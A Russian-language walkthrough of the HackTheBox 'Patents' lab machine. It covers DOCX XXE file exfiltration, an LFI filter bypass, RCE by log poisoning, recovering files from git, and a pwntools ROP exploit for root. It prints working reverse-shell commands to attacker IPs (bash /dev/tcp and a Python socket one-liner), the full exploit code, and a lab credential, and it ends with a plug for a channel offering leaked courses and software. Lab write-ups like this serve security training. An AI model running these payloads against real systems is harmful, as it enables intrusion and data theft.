Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.
В данной статье эксплуатируем XXE в сервисе преобразования DOCX документов в PDF, получаем RCE через LFI, копаемся в истории GIT и восстанавливаем файлы, составляем ROP цепочки с помощью pwntools и находим спрятанный файл рута.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.173, который я добавляю в /etc/hosts.
10.10.10.173 patents.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A patents.htb -p22,80,8888
На хосте работают службы SSH и веб сервер Apache, при этом порт 8888 отведен для непонятной службы. Посмотрим веб.
На сайте имеется форма загрузки DOCX документов.
XXE DOCX
По утверждению, наш документ будет преобразован в PDF формат. Это наталкивает на мысль о XXE. Я взял пример отсюда.
Таким образом, в данном примере хост попытается загрузить xml документ с удаленного сервера. Загрузив этот документ, он прочитает локальный файл указанный в загруженном xml документе, закодирует его в base64 и обратится еще раз на наш сервер, передав закодированный файл в качестве параметра запроса. То есть, декодировав этот параметр мы получим файл с удаленной машины.
Но данную нагрузку следует размещать не по пути word/document.xml. Так как для работы с таким типом документов используется SDK OpenXML, то, как следует отсюда и отсюда, программное обеспечение на стороне сервера будет искать данные в word/document.xml, а в customXML/item1.xml. Поэтому нагрузку стоит размещать именно там.
Давайте создадим docx документ и разархивируем его как zip архив. После чего создадим директорию customXML и создадим в ней файл item1.xml. В него мы запишем код с изображения выше, изменив IP адрес на свой. И архивируем документ обратно.
Теперь запустим локальный веб сервер.
python3 -m http.server 80
И в текущей директории создаем второй xml файл, указав в качестве желаемого файла /etc/passwd.
И загружаем документ на сервер. В окне с запущенным веб сервером увидим обратное подключение.
Декодируем base64 и получаем файл, который запросили.
Таким образом мы можем читать файлы на сервере. Давайте прочитаем файлы конфигурации Apache. Для этого изменить dtd.xml и повторим загрузку документа.
Так мы узнаем директорию, в которой расположен сайт. Давайте попытаем прочитать файл конфигурации.
И в комментарии сказано, что файл был переименован из-за уязвимости. Мы конечно обратимся к нему patents.htb/getPatent_alphav1.0.php.
Обратившись к данной страницы и передав в качестве параметра id путь ../../../../../etc/passwd, из нашей строки будут удалены все вхождения “../”. Давайте каждую строку “../” заменим на “..././”, так при удалении последовательности, все равно останется “../”.
И мы находим LFI.
Entry Point
Давайте попробуем получить из этого RCE. Скажу честно — это было сложно. Дело в том, что отправляя подобный документ, мы не получали предложение загрузить PDF. То есть был задействован дескриптор 2 (для вывода диагностических и отладочных сообщений в текстовом виде). А к нему мы можем обратиться. Давайте закодируем реверс шелл в base64:
/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
Мы будем декодировать его и передавать в функцию system в php. Давайте передадим код в качестве заголовка HTTP при загрузке файла.
curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'
Запустим netcat.
nc -lvp 4321
И теперь обратимся ко второму дескриптору.
curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
Получаем бэкконнект.
ROOT 1
Загрузим скрипт перечисления системы linpeas и внимательно проанализируем вывод. Так мы работаем в докер контейнере.
Еще находим хеши. Но взломав, ни к чему не приходим.
Поэтому запускаем pspy64 чтобы отследить запускаемые процессы. И находим запуск процесса от имени root, при котором пароль передается как переменная окружения.
И локально сменим пользователя, указав данный пароль.
ROOT 2
Давайте посмотрим, что делает данный скрипт.
Получаем наводку на какой-то lfmserver, а также сохраняем логин и пароль. Поищем в системе все, что связано с lfm.
И находим в данной директории git репозиторий.
Давайте поработаем с данным репозиторием.
Посмотрим историю изменений.
Посмотрим историю изменений. Так видим что в предпоследнем коммите были добавлены исполняемый файл и описание, а в последнем — они уже удалены. Давайте откатимся до удаления файлов.
git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
И у нас в директории появились исполняемый файл и описание.
Тут я уже хотел приступить к реверсу файла, но — у нас есть git проекта! Я нашел коммит, где упоминались исходные коды.
И давайте восстановим файлы.
git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
После чего скачиваем интересующие исходные коды, саму программу и библиотеки на локальную машину.
ROP
Нам нужно попытаться найти и эксплуатировать уязвимость в программе, в помощь есть исходные коды. Проверим защиту в бинарном файле.
То есть канарейка и PIE отсутствуют, но стек не исполняемый. Откроем бинарный файл в любом удобном для вас дизассемблере с декомпилятором (я использую IDA Pro 7.2 ) и сопоставим декомпилированный код с исходными кодами из репозитория.
Для подключения к серверу и используем данные из файла checker.py, а также учетные данные.
Давайте напишем шаблон эксплоита.
#!/usr/bin/python3
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
Давайте теперь определимся с запросом. Запустим приложение.
Необходимо отправлять путь к файлу и хеш его содержимого. Для примера я взял /etc/hosts.
Добавим к шаблону следующий код.
INPUTREQ = "CHECK /{} LFMrnUser={}rnPassword={}rnrn{}n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
Теперь выполним и получим ошибку 404.
Посмотрим log файл.
Понятно где приложение ищет файл, давайте поиграем с путями, и укажем такой file.
file = "../../../../../etc/hosts"
Выполним код и не увидим никаких ошибок.
Но в случае urlencode, получаем ответ с кодом 200 от сервера!
file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
Отлично, давайте вернем к дизассемблеру. Найдем среди строк (Shift+F12) удачный ответ сервера. И посмотрим, где к ней происходит обращение (X).
И переходим к первой функции, где в самом начале происходит проверка учетных данных.
Давайте переимеенуем строки-переменные в окне дизассемблера, чтобы в декомпиляторе было понятнее.
И разбирая код в строках 18-24, пониманием следующее: часть пользовательского ввода попадает в функцию sub_402DB9, где происходит преобразование строки в переменную name, которая потом попадает в функцию access, и в случае отрицательного результат, происходит вывод сообщения 404. Таким образом, в переменной name будет расположен путь к файлу. Так как запрос обрабатывался даже в кодировке urlencode, то данная функция скорее всего нужна для декодирования.
Но дело в том, что переменная name, куда происходит перенос данный, ограниченного размера.
Таким образом, для переполнения буфера нам необходимо передать 0xA0=160 байт. Давайте допишем в код функцию дополнения до 160 байт и кодирования пути к файлу. Так как от содержимого файла вычисляется хеш, то необходимо не нарушать целостность пути к файлу, то есть после основного пути добавить 0x00 байт.
Но дело в том, что нам нужно знать хеш от какого-либо файла на сервере, который будет доступен всегда и никогда не изменится. К примеру /proc/sys/kernel/randomize_va_space, а как мы помним из вывода linPEAS, ASLR активирован, то есть мы знаем хеш.
Тогда изменим код.
#!/usr/bin/python3
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFMrnUser=lfmserver_userrnPassword=!gby0l0r0ck$$!rnrn{2}n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
Это успешно работает!
Теперь давайте используем утечку памяти и определим адрес, по которому загружена библиотека libc. Для этого мы получим адрес функции write в загруженной библиотеке libc.
binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
Теперь выделим адрес функции dup2 (первые 8 байт). Вычтем из него адрес функции dup2 в не загруженной библиотеке. Так мы найдем базовый адрес libc.
print(f"[*] Payload sent")
recv_ = r.recvall().split(b'r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
Теперь найдем адрес строки /bin/sh.
shell_address = next(libc.search(b"/bin/shx00"))
Осталось собрать ROP, в котором будет перенаправление стандартных дескрипторов ввода/вывода (0,1,2) в дескриптор, зарегистрированный в программе (возьмем 6). После чего произойдет вызов функции system, куда мы передадим адрес строки /bin/sh.
rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
Отлично! Получаем шелл от рута. Но вот он быстро умирает. Запустим листенер (nc -lvp 8765) и кинем бэкконнект шелл.
r.sendline(b'python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'')
И мы имеем стабильный шелл. Полный код привожу картинкой ниже.
Но вот прочитать флаг рута не можем…
ROOT 3
Запустив linpeas и просмотрев вывод, находим интересные разделы, особенно /dev/sda2.
Давайте получим информацию о всех блочных устройствах.
Таким образом мы имеем корневой раздел /dev/sda2. Создадим директорию и монтируем раздел.
Вот и находим флаг рута.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Автор: Ральф Фаилов